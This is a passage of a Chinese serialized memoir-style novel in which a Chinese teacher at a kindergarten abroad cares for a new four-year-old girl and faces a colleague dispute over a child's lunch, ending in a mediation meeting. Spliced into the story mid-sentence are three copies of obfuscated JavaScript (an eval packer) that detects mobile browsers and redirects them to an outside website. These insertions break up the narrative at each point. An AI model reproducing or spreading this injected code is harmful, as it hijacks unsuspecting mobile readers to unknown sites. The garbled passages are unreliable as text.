今天邦狄坐在靠围墙的长椅上远远看着她班上的孩子,邦狄是幼儿园的副园长兼小班老师,一个五十多岁高高壮壮很有阳刚气的女人,给人一种铁面无私的感觉。看到我,她笑着和我寒暄了两句,我趁机告诉她:“赖恩需要人紧盯着,我已经几次看见他拿东西丢人了,有一次丢的还是石头。” 邦狄道:“他是需要盯着,不过在有些方面还是很好的。” 我们班的几个孩子这时正在玩具屋附近玩耍,我站过去看着,眼见赖恩走进玩具屋,于是刻意多加留意,几乎立刻就听见玩具屋里传出哭声,我连忙走到跟前,透过玩具屋的窗户看见还包着尿布包的赖恩坐在地上和另一个与他年纪相仿的孩子正在互殴,他双手举着一个小塑料桶大力敲打着另一个孩子的头,另一个孩子则哭着举起手里的一大块树皮用力回敲他的头,他也大哭。 我一边大叫“赖恩,停下!”一边弯腰像抓小鸡一样从玩具屋里一手一个把他们牵出来交给闻声赶来的邦狄,整个院子都回荡着他俩的嚎哭声,回想两个小屁股墩刚才坐在玩具屋里一边互殴一边大哭的场景,真是令人又好气又好笑。 42. 第九章 印度富豪的女儿 七月初班上新来了一个叫妮娜的小姑娘,她的幼儿园暑期关门,所以暂时来我们幼儿园待上一个暑假,而那天刚好是她的四岁生日。 她的眼睛特别大,几乎占据了整张脸的三分之一,黑色的长卷发垂到腰间,鬓边簪了一朵鸡蛋花形状的发夹,如果问她问题她会很镇定地大声回答,声音里还带着粗粗的奶音,几乎每一个见到她的老师都觉得她很可爱,连林奈对她的疼爱都溢于言表。 班上的孩子对新来的孩子却总是多少有些孤立,妮娜的年龄和个子又比其他孩子小很多,就更没孩子搭理她了,我于是出来进去总是对她多一些关照,耐心地告诉她需要知道的事情,她因此特别黏我。 妮娜的妈妈是一位身材娇小、安静和善的白人美女,玛丽安私下里八卦地告诉我:“妮娜的爸爸是个印度富豪,为妮娜雇了四个保姆照料她,家里有两间厨房是专门给她做饭的,她家在附近的海滩还有一栋度假别墅。” 午餐时妮娜刚巧坐在我这桌,她吃了两小片面饼、一杯牛奶和一些水果后对我说吃饱了,我同意她打包,玛丽安却隔着桌子不分青红皂白地命令妮娜把餐包里所有的东西都吃完,又亲自过来给她强灌了一杯牛奶和一些饼,直到孩子们的午睡时间到了才作罢。 我对玛丽安的做法很不以为然,觉得孩子饿了自然会吃,没必要强迫,而且妮娜吃的这些东西对于她的小胃来说差不多也够了,就算是一个大人,如果不饿却非得吃,想睡却不能睡,任谁也不会高兴吧? 连林奈在一旁看了都直摇头,事后握着妮娜乒乓球一般大小的拳头对我说:“她的胃才这么点大,根本吃不下那么多东西!” 吃完午饭,妮娜说“好累”,居然直接在地毯上舒服地躺了下来,我看着不禁心生怜爱,就给她拿了个睡垫,但是她很不幸地又被玛丽安叫起来,因为她的保姆马上要来接她了。 第二天是中班主持的“泥巴日”,中班的老师们事先在沙池里挖出纵横的沟渠,再灌上水,放上小铲子和各种容器,让全幼儿园的孩子换上泳衣在里面尽情玩耍。 妮娜换上了一件类似潜水服的粉红色泳衣,当我提醒所有孩子拿上自己的浴巾时,她对我说:“我没带浴巾。” 我安慰她:“没带浴巾没有关系。” 在院子里玩完“泥巴”,所有孩子被集中到一起用浴巾擦干身上的水,妮娜又担忧地对我说:“我没有浴巾。” 我说:“没关系,回教室后老师会帮你擦干的。”然后拉着她的手跟在其他孩子后面一起回教室,她便依恋地将头靠在我的手臂上。 第二天早上我一进教室妮娜就很高兴地冲我笑,然后紧紧跟在我身边,一有机会就把头往我身上靠,玛丽安看在眼里,不咸不淡地来一句:“她喜欢成年人,她家里有四个保姆。” 午饭时妮娜吃了两个小油饼,说“好渴”,又咕咚咕咚喝了大半盒巧克力奶,便撑着头疲倦又妩媚地对我说“我好累”,停止了吃东西。 玛丽安刚好去上厕所不在教室里,林奈今天却一反常态,隔着另一张桌子一遍遍地催妮娜“快吃”,我只好也跟着叫她多吃点,妮娜便很勉强地时而吃上一粒塑料碗里的鹰嘴豆。 过了一会儿林奈大声宣布:“时间到了,所有人都打包!” 妮娜问我:“我也可以打包吗?” 我微笑着说:“是的。” 她很开心地开始打包,刚盖上一个饭盒,玛丽安进来了,看见妮娜在打包立刻大声阻止:“不行,亲爱的,你还没吃完!” 妮娜有些求助地看看林奈和我。 玛丽安大声道:“你看她们做什么?赶快吃饭!” 我向玛丽安解释:“刚才林奈让她打包的。” 没想到林奈居然不认账了,笑着说:“我只是让另外几个孩子打包,没让她打包。” 我只得也笑着说:“噢,我以为你让她也打包呢。” 我和妮娜背了黑锅,另外两个老师都满意了,玛丽安大声对妮娜说:“别看其他老师,你需要把饭吃完!” 妮娜只好叹了口气,重新打开饭盒,疲惫地坐在那里却没有动。 我想劝她再吃几口,拿起勺子又放下了,突然想到这是玛丽安的意愿不是我的,我何必替玛丽安做这费力不讨好的事呢? 离开桌子拿起扫帚扫地,才扫了几下妮娜的两个保姆就来接她了,这下妮娜不仅不需要再吃饭,连饭盒都是一个保姆替她收的,另一个保姆干脆把她抱起来,索性连路也不用她自己走了。 玛丽安问两个保姆:“妮娜需不需要把饭吃完?” 她们回答:“不用,回家后我们会重新再喂过。” 玛丽安不吭声了——我想有一种饿叫做“老师觉得你饿”,催孩子吃饭倒更像是玛丽安自己的执念。 等她们走后,玛丽安把我叫过去开始教育我:“我看见昨天妮娜靠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437806|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个老师怀里,今天又靠在你怀里,她平时在家里有四个保姆,我们不能让她把她的方式强加给学校,而应该让她学习社交,和每个孩子都一起玩。” 我觉得玛丽安说的虽然不无道理,但妮娜有她的特殊情况,便解释道:“可是我们的孩子好像不和她进行互动,也许是因为她的年龄太小了吧。” 林奈在一旁表示同意:“对,我们的孩子是不和她交流。” 我又说:“又或者因为她是新来的?” 玛丽安立即反驳道:“艾米也是新来的,但现在已经能够很好地和大家一起玩了,这需要时间。” 其实直到现在我们班的孩子还是不大和艾米一起玩,所以艾米总是找中班的个别孩子玩,这时候老师如果再不加帮助和引导,却强行将孩子丢进其他孩子当中,只会令她更加孤立,可玛丽安却对这些事实视而不见,固执地坚持自己的想法,我只好不再多说什么。 下午我坐在地毯上陪艾伦玩玩具,玛丽安对妮娜说“去玩玩具”,我笑着向她招招手,妮娜也笑着朝我走过来,玛丽安立刻大声说:“去和小朋友玩!” 妮娜停下来,在原地坐下自己玩了一会儿,最终还是跑过来依偎到我怀里看着我和艾伦玩,可是玛丽安很快又喝令她不许趴在我怀里只能坐在我身边,她只好坐起来,在我的引导下和艾伦开始了一些互动。 第三天中午大家去镇中心的大草坪野餐,妮娜个子太小落在后面,我担心她跟不上队伍就在后面拉着她,她很依恋地紧紧攥着我的手,时而扑过来抱着我的腿把头贴在我身上,像个小动物一样,让人心里暖暖的。我冲她微笑,摸摸她的头发,却不敢表现出太多的鼓励,怕被玛丽安看到又有话要说。 下午在院子里妮娜看见中班的爱玛穿了一件很漂亮的彩贝色纱裙,她似乎特别喜欢那件裙子,眼睛直直地盯着裙摆笑着跟了过去,爱玛发现妮娜过来想跑开,妮娜却目不转睛地盯着裙子跟在爱玛身后满院子跑,爱玛坐在地上又站起来,裙摆上沾上了一片枯叶,妮娜一边跑一边伸出手想把那片枯叶从她喜欢的裙子上拿下来,后来她终于追上了爱玛,向爱玛示意,爱玛扭头去找树叶,不由自主地转起了圈,妮娜也像一只被本能驱使的小动物一样伸着手跟在裙子后面一圈一圈地转,却不晓得从另一个方向截住树叶,最后她终于追上树叶,心满意足地把它拿下来,然后和爱玛一起笑着跑开了——孩子的欲望就是如此简单和容易满足。 43. 第十章 凯奇午餐打包事件(上) 虽然有可爱的孩子和美丽的院子,老师们起初也维持着表面上的客气,但是有人的地方就有江湖,作为全幼儿园唯一不同族裔的老师,从一开始我就做好了被孤立的心理准备,可是当孤立真正来临时,那种滋味还是很不好受。 入职一个月后,幼儿园在一家餐厅举行了一次员工聚餐活动,十几个人围坐在两张拼起来的长条餐桌前,一边是年长员工扎堆,一边是年轻员工扎堆,只有我孤零零一个人被排斥在外。 我右边的椅子空着没人坐,左边的椅子坐着中二班的老师雷嘉,她浓眉大眼行事泼辣,我原以为她是个心胸开阔好相处的人,没想到一顿饭从头到尾她一直大剌剌地将后背冲着我,只和她左边的轮值老师桀丝聊天,连最起码的礼貌也不顾。我试图主动找她俩搭话,又把点的饮料分给她们喝,却还是完全插不进去,坐在我对面的几位老员工也只顾自己聊天,没人有功夫理会我,我这才渐渐意识到,无论平时如何维持着表面的客气,我终归只是她们心中的异类。 第二天玛丽安休假,桀丝被派来大班帮忙,桀丝就是我面试时见到的那个看上去像中学生的女孩,满脸雀斑,胳膊和腿细得像竹竿,她是学校的轮值老师,每当哪个班有老师生病、休假或日间休息人手不足时就会由轮值老师临时顶上,轮值老师往往资历较浅,对其他老师起到辅助和支持的作用。 早上进教室时看见桀丝正和林奈聊得热火朝天,在我眼里桀丝差不多还是个半大孩子,我于是友好地主动笑着向她打招呼,没想到却换来她十分冷淡的回应。整个上午桀丝都和林奈扎堆在一块儿,两个人几乎不怎么和我说话,桀丝更是看着我忙前忙后却连手指头也不伸一下,完全没有任何帮忙的意识,她的全部功能仿佛就是在我们教室里或站或坐、和林奈聊大天、对孩子指手划脚以及中午占着玛丽安的座位吃午饭。 下午班级合并后我又恰好和雷嘉分到一组,她也是一副目中无人的样子,连正眼都不瞧我,却和我们班来接孩子的家长聊得火热,不了解情况的会以为她才是大班老师,而我只是个打杂的,我以往的生活中极少遇到如此粗鲁无礼的人,不太能够理解她们的脑回路,也不知道该如何和这样的人相处。 第三天上午在院子里看孩子,邦狄走过来问我最近怎么样,又问我对上次的聚餐感觉如何,估计自从上次聚餐她也多少看出一点我的被孤立。 “你如果有任何问题都可以跟我说,”她说,“我和玛丽安一样在这个幼儿园已经很久了,除了一直在做副园长之外还是校董事会成员,什么都了解。” 我一来不喜欢在人背后打小报告,二来觉得其他几个老师明里暗里的小动作虽然令我不舒服,却也不算什么大问题,于是回答:“一切都好,聚餐也很好。” 今天玛丽安回来了,桀丝可能一时没地方去,还是继续留在我们班帮忙,吃午饭的时候她坐到我这桌,俨然成了桌上的老板,对孩子们各种发号施令,我便不声不响,闷头吃饭。几个和桀丝比较聊得来的孩子吃完后离开座位,剩下的孩子向我问东问西,桀丝一时有些受冷落,也起身离开了饭桌。 阿登平时吃饭很慢,喜欢边玩边吃,今天在我的敦促下好了很多,我说:“你比昨天快了八分钟,很不错,我会告诉你外婆。” 他很高兴:“你要告诉她我今天快了八分钟。” 这时玛丽安起身离开教室,他好奇地问:“玛丽安去哪儿了?” 另一桌的林奈听见大声呵斥道:“你总是什么都要问,不好好吃饭!” 我连忙说:“他今天吃得比昨天好多了。” 林奈一脸不屑:“你今天吃得比昨天好,可你总是像这样什么都要关心——吃你的饭,玛丽安去哪儿和你没关系!” 阿登被呛得一愣一愣的,我只好小声安慰他。 同桌的凯奇这时问我:“我可以打包吗?” 我说:“可以。” 他就把剩下的一些西兰花装回保温杯,又问我能不能吃饭包里的酸奶,我回答“当然可以”,因为这套流程是几乎每天都会发生的。 凯奇吃完酸奶离开桌子,阿登也开始装饭盒,我起身打扫饭桌,突然听见桀丝在向林奈抱怨她叫凯奇打包凯奇不听,还未经她允许就吃酸奶。 我连忙上前替凯奇解释:“他问过我了,是我同意的。” 桀丝仿佛没听见一般,又对刚回教室又准备出去的玛丽安说:“凯奇刚才告诉我要打包饭盒,后来却不问就自己吃酸奶。” 我于是又上前解释:“他问过我,是我同意的。” 可是玛丽安已经出去了,没听见我这句话。 桀丝仍是一副对我不理不睬的样子,林奈仿佛是桀丝的同盟一般和她站在一起,也对我置若罔闻,我突然觉得很生气,也不想继续收拾桌子了——凭什么这些活都该我做,一个临时来帮忙的轮值老师倒像监工一样?于是我也转身出去了。 上个厕所回到教室,剩下的两张脏饭桌依旧如故,桀丝一上午都没给过我笑脸,此刻却坐在其中一张饭桌前冲我笑,然后玛丽安就把我和凯奇叫过去谈话——我立刻意识到刚才离开的时候被桀丝在背后告了黑状,回想起进门时她那个有些得意又意味深长的笑,血一下子涌进我的脑子里。 玛丽安先沉着脸对凯奇说:“如果一个老师让你这么做,你不可以再叫另一个老师让你那么做,你如果吃完了要打包就不可以再改变主意吃酸奶。” 我心里明白玛丽安表面上是在说孩子,其实是在点我,在这所幼儿园里老师们暗暗互掐时经常会拿处于弱者地位又不会为自己辩护的孩子开刀,这是她们常用的手段,也是我尤其看不惯的。 我的脸色变得非常难看,再也没有了平常总是挂在脸上的温和笑容,很严肃地问玛丽安:“怎么,是不是凯奇必须要吃完他的午饭?” 玛丽安回答:“当然不是,他只要吃完大部分就可以了,但是他如果说要打包就不能再吃了。” 我出言回护凯奇:“他平常吃完大部分食物总是问我可不可以打包,其实意思是可不可以把剩下的装回保温杯里,然后再吃酸奶,这也许是我和他之间一种特定的语言,要错也是我的错。” 玛丽安说:“不管怎样,以后他如果再说打包,我们就要明确他是真的要打包。” 我情绪有些激动地问:“我不明白,这又有多大关系呢?” 林奈突然在一旁十分强硬地打断我:“打包就是打包,老师之间要有统一的语言!” 我这时感觉已经是在被另外三个老师联合起来欺负,还拉进来一个无辜的孩子当垫背,气得站起身来,只觉得眼眶发热,浑身都在颤抖,回头看见班里几个敏感的孩子都紧张地看着我,显然已经感受到了我的情绪。 第一个跳进脑子里的人是邦狄,我想去找邦狄汇报班上发生的这些不公,于是径直走出教室,问了一圈,被告知邦狄正在活动室陪小班的孩子睡午觉——每天中午小班的孩子都会集中在活动室睡午觉。 活动室没有窗户,午睡时灯一关一片漆黑,我摸黑在午休的孩子中间找到了躺着的邦狄,对她说:“邦狄,我可不可以和你谈谈?” 这时发现旁边被惊动的一个人影依稀是桀丝,搞了半天她又跑来这里睡午觉了,还真是舒服! 邦狄很有经验地立即翻身站起来,把我带到一间空置的教室里关上门。 我声音颤抖地说:“我感觉很糟,刚刚发生了一些事让我很不舒服。” 她道:“告诉我发生了什么。” 我深吸一口气,把情况说了一遍,邦狄听完后说:“这其实并不是什么大问题,桀丝应该先和你沟通,而不是让所有的人都知道。” 我说:“是啊,根本就不是什么大问题,我两次试图向她解释,可是她根本不听。” “她去应该是帮助你们,而不是制造问题。” “是啊,可是她什么忙也不帮,我负责给所有孩子准备零食,打扫所有的桌子,做所有的杂事,尽力帮助其他两位老师,可是她根本什么也不做,每天就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可是玛丽安有了从桀丝那里得来的先入为主的印象,还是坚持认为我将来应该和凯奇说清楚到底是不是要打包,我虽然觉得重点不在于此,却不好再在这上面多做纠缠,只得顺着她表示同意。 又说到阿登的事以及很多次我和孩子们说话却总被林奈抢白和否定,玛丽安说:“这个我们会想办法。” “邦狄打算接下来几天不让桀丝来我们这里帮忙。” 我告诉她。 “那会很有帮助。”玛丽安评论道,显然她也觉得桀丝就是帮倒忙和制造矛盾的存在。 然后她突然问我:“你不会对我有什么意见吧?” 我有些戏剧性地抓住她的手:“我很高兴有你在这里,你知道吗,虽然你说话大声,表现强势,可是我能感觉出你有一颗柔软的心。” 不得不承认这番话有些肉麻和夸大,因为这个时候我得找同盟军而不能让自己在教室里再被孤立,而且通过这段时间的相处,我感觉玛丽安虽然罗嗦一点,心地其实不坏。 她听到我这话眼眶竟有些湿润:“我必须要大声才能管得住他们。” 轮到我午休,我不再像往常那样还帮林奈做些后续准备,出门时碰到林奈急匆匆进来对玛丽安说她要和邦狄快速地谈一谈,不知道是她从桀丝那里听说了什么,还是邦狄已经找过她了。 午休完回到教室看见林奈眼睛红红的好像哭过,她对我说:“我为中午的事向你道歉。” 她当着满屋子的孩子这样令我感到很尴尬,我于是小声道:“这个我们可以以后再说,别在孩子面前。”见她似乎没反应过来,又重复了一遍,并迅速补充道,“不管怎样我都会接受(你的道歉)。” 她又咕哝了两句,不过我没听清,看见她眼睛红红的应有悔意,我已经不是那么生气了,下午到院子里活动时又对她恢复了笑容——毕竟一个班的同事,抬头不见低头见,不过我也打算以后和她保持适当的距离,至于那个桀丝,我根本不想再拿正眼看她。 本以为这件事就此告一段落,我也不打算再深究,没想到林奈却并未真正偃旗息鼓。 44. 第十一章 凯奇午餐打包事件(中) 第二天上午在院子里邦狄踱步到我身边说:“今天午休时沙文和我要跟你们班的三个老师一起开会谈谈,不过你不用担心。” 我微笑着说:“好的。” 心中稍觉不安,又觉得自己在情在理,没什么可担心的。 邦狄又踱到林奈身边说了几句话,林奈又开始抹眼泪,然后邦狄又走回我身边闲聊了几句。 午休时沙文打电话叫大家到她的办公室,先温和地起了个头:“听说我们这个新组合的团队最近有些碰撞,主要是沟通上的问题,以至于有双方都感觉受到了伤害。” 接着她询问了凯奇午饭的问题,听玛丽安、林奈和邦狄的说法,凯奇的父母开学时曾交待过不要让他在吃饱主食之前吃零食,这一点我不知情。 我感到有些不对劲,不是要讨论桀丝不帮忙还背后挑事的问题吗?怎么现在重点好像落在了我的操作是否得当上,还勾勒出我因为不知情而操作不当的印象?血再次涌进我脑子里,脸也开始发烧。 沙文问:“你们都对这一点表示同意吗?” 我面露不悦:“今天是我第一次听说这是一个规定。” 沙文向我流露出询问的神色,我觉得这个时候绝不能闷不吭声让其他人操纵事实,于是说:“我只知道在我来之后的一个月内,大部分时候只要凯奇坐在我的桌上,他都会在吃饱后问我可不可以打包,而我也都会在他吃了大部分主食后表示同意,他通常会先把吃剩的饭菜装回保温杯,再打开餐包问我可不可以吃一点酸奶或水果,许多其他孩子饭后都会吃酸奶和水果,所以通常我会说可以——凯奇因为食物过敏只能吃自己带的零食,我昨天检查过,他的餐包里有一盒酸奶、一盒苹果泥和一个苹果,在确定他下午有足够的零食吃之后我才同意他吃酸奶的——这种情况已经发生过很多次,而昨天是桀丝在过去一个月内第一次看到凯奇吃饭,我相信如果我的做法不当,在第一次玛丽安和林奈就会向我指出来。” 我之所以说得这么详细,是想让沙文知道我并非对孩子的情况糊里糊涂不了解,而是非常清楚。 刚才还在和稀泥的玛丽安这时坐在椅子里装模作样地点点头,我这番话把她和林奈也拉了进来,她们当然不能再说我因为不了解情况操作不当她们却一直未向我指出,直到昨天桀丝来才发现问题。 沙文总结道:“我只是想先搞清楚吃饭的事到底是怎么回事,为什么会因为吃饭起争执,现在算是清楚了,其实并不是大事,主要还是在于沟通。” 沙文能这么说就好,其实我也只是希望玛丽安和林奈能够承认昨天的事根本就不是个事,这样大家自然就清楚是谁在无事生非了。 林奈却不依不饶地对我说:“可是你冲我生气!” 我说:“那是因为你不听我解释——我有些不明白,事情的重点不在于我和林奈之间,而应该是桀丝吧?昨天桀丝先后向林奈和玛丽安抱怨的时候,我曾经两次试图向她解释,她却根本不听,甚至连看都不看我一眼,最令我生气的是,当我上完厕所回去的时候,她坐在那里冲我笑,然后玛丽安就非常严肃地找我和凯奇过去谈话。” 玛丽安听见她的名字,立刻防御性地开始为自己的行为辩解,我委婉地对她说:“也许你先向我问问情况会更好些。” 她语气强硬地反驳:“我事先已经向凯奇问过情况了!” 我的重点一直是桀丝,这个时候可不想节外生枝让玛丽安成为我的对立面以致模糊焦点,连忙打住道:“这不是我和玛丽安之间的问题,因为她当时不在场,根本不知道发生了什么。” 玛丽安果然不再说话了,能够置身事外她当然求之不得。 林奈又把话题扯回我身上:“我昨天向彦岚道歉她却不愿意和我说话,今天上午我想和她谈谈她却不理我。”说着居然又哭了起来。 我不禁张大了嘴巴——这也太扯了吧! 不过对于她的指控我并不担心,因为事实是改变不了的,我的所作所为没有任何不当之处,所以我镇定地对沙文说:“昨天午休完回到教室时林奈向我道歉,我对她说我不想在孩子面前谈论此事,我们可以稍后再谈,不管怎样我接受她的道歉,今天我并没有听见林奈说要和我谈。” 我说得清楚明了,事实面前林奈无法否认,只得推说:“我没听见。” 沙文和邦狄这时一副恍然大悟的表情。 沙文评论道:“彦岚有一点说得很对,这些事是不应该在孩子面前谈。” 邦狄对林奈说:“她说接受你的道歉了,并没有说不接受,只是要晚一些和你谈而已。” 林奈的情绪突然变得非常激动:“她攻击我!很多时候我都觉得并没有像一个老师那样得到她的尊重,很多次我对孩子说话她都会有不同的做法,我对她说话她也不听我的,我常常感觉心里很受伤!” 林奈的话令我错愕不已,我何时攻击过她?而且她所描述的恰恰是我的感受——还真是恶人先告状! 沙文问她:“这只是感觉而已,你能举些具体的例子吗?” 于是林奈举例昨天我让贝儿把外套脱掉穿短袖衣服,她告诉我贝儿的妈妈不希望贝尔穿短袖,我却不听她的和她对着干;又说我无视她和玛丽安制定的规定,让洛蒂午休的时候玩玩具。 这两件事当时发生的时候我就担心林奈心里会不高兴,没想到果然来了,我立刻说:“这两件事我可以解释。” 沙文却不让我说话,又评论了几句才允许我开口,我刚开口向沙文解释,她又打断我:“你不应该向我解释,而应该看着林奈的眼睛向她解释。” 我并不在意到底向谁解释,这只不过是个姿态而已,只要在场的所有人都能听见并了解到事实真相就行,于是面向林奈和颜悦色又语气诚恳地开始解释——我现在必须这么做,因为只要我的态度稍有不悦就又会被林奈理解为在攻击她,只有态度做足令她无话可说,其他人才会看在眼里,明白我并非像她说的那样心有宿怨。 我说:“林奈,关于贝儿的事我听见了你的话,不是没有听,可是到了下午太阳底下很热,我自己都脱了毛衣,所以贝儿说热要脱衣服的时候我就让她脱了。” 林奈说:“我说的不是下午而是上午,我跟你说她妈妈不让她脱衣服你就不高兴。” 又是捕风捉影,当时我根本没有任何不高兴的想法。 我说:“上午一开始她说热我让她脱衣服是因为我不知道她妈妈的意思,但是你告诉我之后我一点意见也没有,这对我来说完全没有任何问题。 “至于洛蒂,是因为每天下午她父母来接她总会问她有没有睡午觉,后来我才弄明白他们其实并不希望她睡午觉,我看见洛蒂每天中午坐在睡垫上这样的时候很为她感到难过(我模仿出洛蒂脑袋一冲一冲困得不行还要强撑的动作,沙文在一旁评论‘我们不能强迫孩子不睡觉’),所以就让她玩点玩具,那时候我并不知道下午两点以后孩子才可以玩玩具的规定,可是当时你却对洛蒂说‘回去,你不能玩玩具’,说真的,其实那时候我才觉得心里受到伤害,因为我刚来幼儿园,需要在孩子面前建立我的权威,所以我一边让她继续,对她说‘我会和林奈解释’,一边对你说‘这次先让她玩,下一次我不会再这么做了’。” 邦狄评论道:“刚才彦岚提到的一点很重要,就是在她向孩子发出指令时,你不应该凌驾于她之上发出不同的指令。” 沙文跟着说:“其实只要不是危险的事情,你可以在事后再跟她说,而不用当时当着孩子的面。” 林奈却又道:“你总是问玛丽安问题却不问我,这让我觉得可能因为自己是教室里最年轻的老师,所以你根本不把我放在眼里。” 我有些惊讶:“林奈,我绝没有不尊重你的意思,我不知道你希望我问你问题。” 她这时见大势已去,开始泪眼婆娑地在两个园长面前演戏:“我喜欢问题。” 我只好陪她一起演,望着她微笑道:“我问玛丽安多而问你少的唯一原因就是,我第一次走进教室的时候玛丽安说得多而你说得少。” 心里不便说出口的真正的原因其实是:刚来的时候我问林奈问题她总是对我爱理不理,我自然不想再自讨没趣。 沙文这时开始笑着缓和气氛:“原来就是这么简单的原因。” 林奈也破涕为笑,装模作样地用夹子音小声说:“我是很安静的。” 我想,如果此刻她的笑容是真的,倒显出她一些无知的天真——其实这时候大家都有些虚伪,因为林奈平时显然是一个呱噪而非安静的人,沙文也绝不会相信我们之间的矛盾仅仅源于这么小的一点误会。 我补充道:“后来我问过玛丽安——对不起我没有问你,因为当时你不在教室里(林奈表示理解地冲我笑笑),不仅弄清楚了规则,即两点钟以后孩子才可以玩玩具,还弄清楚了原因,因为两点以前其他孩子尚未入睡,玩玩具会打扰到他们,而为了公平起见两点以后即使玩玩具也要让所有没睡觉的孩子都玩,后来我也一直是这么执行的,这一点玛丽安知道,你们可以问她。” 玛丽安坐在椅子里微微点了点头。似乎是为了表明她的不偏不倚和袖手旁观,刚才她一直都抱着胳膊低着头不说一句话,仿佛老僧入定一般,倒也有趣。 我又诚恳地对林奈说:“我也从来不会认为自己比你年龄大就不尊重你,因为其实在幼儿教育这个领域我才是非常年轻的,经验很少。” 沙文插了一句:“彦岚的履历非常好,当时也是经过我们层层筛选大家一致同意才招进来的,而不是因为她是我叔叔的女儿,她是我们幼儿园的财富,但不得不说她在我们这个领域确实是新手。” 我看见林奈此时已渐渐放下心防,又对她说:“你知道吗,昨天下午在教室里我对你说‘不要当着孩子的面,让我们晚些再谈’,事实上到了院子里我还在等你来找我谈呢。” 这话半真半假,我确实是准备她来找我谈,但当时那种心情其实也不太想面对她。 她笑道:“噢,我不知道。”这笑当然也不知是真是假。 沙文状似轻松地说:“所以说还是要沟通嘛!我很高兴你们今天能够面对面把话说开,当然私下你们可以继续交流,你们还有什么其他要补充的吗?” 我说:“有一点我想重申一下,就是希望将来在我和孩子说话时如果有什么错误,只要不涉及到危险,林奈你可以把我拉到角落,告诉我‘彦岚,通常我们不是这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437808|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的’,我就会明白,而不是当着孩子的面说,因为我是个新老师,需要在孩子面前建立自己的权威。” 大家都表示赞同,邦狄问我:“那明天我安排桀丝帮你你觉得可以吗?” 我道:“最好不要。” 对于桀丝我还是无法原谅。 沙文问:“为什么?” “因为她从来不帮忙。” “那你希望她怎么帮忙?” 我一时也不好直接说希望她具体怎么帮忙,只得说:“她总是站在那里或坐在那里,不是看着就是聊天,什么也不干。” “聊天,你是指她跟孩子聊天还是跟其他老师聊天?”沙文问。 “我不想说。”我不高兴地回答,因为和桀丝聊天的人就坐在旁边,让我怎么开口? “和其他老师。” 林奈居然主动补充道,真不明白她到底是天真还是为了自保。 邦狄说:“好,那我就先不安排她帮你。” 沙文也说:“我会让邦狄对她进行一些必要的培训。” 结束了谈话,我和林奈离开办公室,剩下三位老员工关上门不知又说了些什么,午休后沙文又分别找林奈和我谈话,看来生姜还是老的辣,中午那番场面上的当面锣对面鼓当然不可能彻底解开心结。 林奈从办公室回来叫我去的时候我特意与她像接力一样击掌以示友好,因为真的不想和她积怨,我宁愿相信她是个敏感自卑简单的人,能哄最好还是哄,如果让她产生敌意,今后在工作上也是很麻烦的一件事。 来到沙文的办公室,她让我关上门,先大加赞许我中午“做得很漂亮,做事非常专业,和孩子的互动也很好”,然后问我还有没有什么顾虑。 我没有再翻林奈的旧账,而是提了几点: 第一点我问“有的轮值老师在教室里什么都不做,玛丽安和林奈也从来不说,我说是否不合适?” 沙文回答“你当然可以说”,并给了我一些建议的说法,比如“我忙不过来了,请你帮我做一下”之类,但在我看来都过于委婉不切实际,因为在我工作量满负荷的情况下轮值老师不情不愿的偶尔帮忙根本解决不了问题。 第二点我提到午休的时间段经常被随意调换。 沙文只是重复了一遍基本的午休安排规则,我想了想说:“其实这不是什么大问题,我自己去和其他两位老师商量,让她们下次如果有变动提前些通知我就行了。” 第三点我说“经常午休回去教室里一堆吃过零食的脏桌子等着我收拾,我不确定这是不是属于我的工作职责。” 沙文回答:“这是所有老师的职责,并不是说就必须你一个人做。” 我说:“我也是这么理解的。” 沙文又说:“至于桀丝,这次的事情让我很惊讶,桀丝还太年轻,高中毕业才一年,没什么工作经验,也没上过什么早教课程,她还有很长的路要走。” 我说:“我也感到很惊讶,因为我知道她很年轻,所以一开始对她很和善。” “也许她认为自己在这里的时间长一点吧,其实她并不是一个完全具备教师资格的老师,也可能是她受到了什么影响……”沙文犹豫了一下,没有再继续说下去。 我笑笑,已经大致明白她的意思,桀丝和少数几个老师拉帮结派,天天站在院子里聊八卦,很容易被某个对我有偏见的老师煽动,其实在这件事发生之前我就经常感觉到桀丝看我时斜着眼睛,目光中流露出轻蔑和挑衅,以前还以为是自己的错觉或者她天生就长成那样,经此一事才明白原来那纯粹是赤裸裸的情绪流露。 我来这里原想与人为善跟每个人和睦相处,退一步大家把各自的工作做好相安无事也行,对于桀丝我从未有过恶意,反而因为她的年轻一开始宽厚以待,她却在根本不了解事实真相的情况下偏听偏信,甚至主动充当别人的工具来“报复”和“修理”与她无冤无仇的我,在本该单纯的年纪却已经一肚子坏水,真是既蠢且恶,我对此十分厌恶,这也是我坚决不肯原谅她的原因。 沙文又说:“你可以在教室里多尝试自己的想法——你感觉玛丽安怎么样?” “噢,她帮了我很多,总是让我尝试不同的东西。” “那太好了!我和邦狄打算加大你的权限,做你的后盾,你觉得好不好?” 沙文的笑容和语气仿佛是在说“我们决定给你一个大红包,你觉得好不好?”可惜我一时没听明白“后盾”这个词的意思,一脸茫然地愣在那里。 她又道:“以后你如果有什么问题都可以来找我们。” 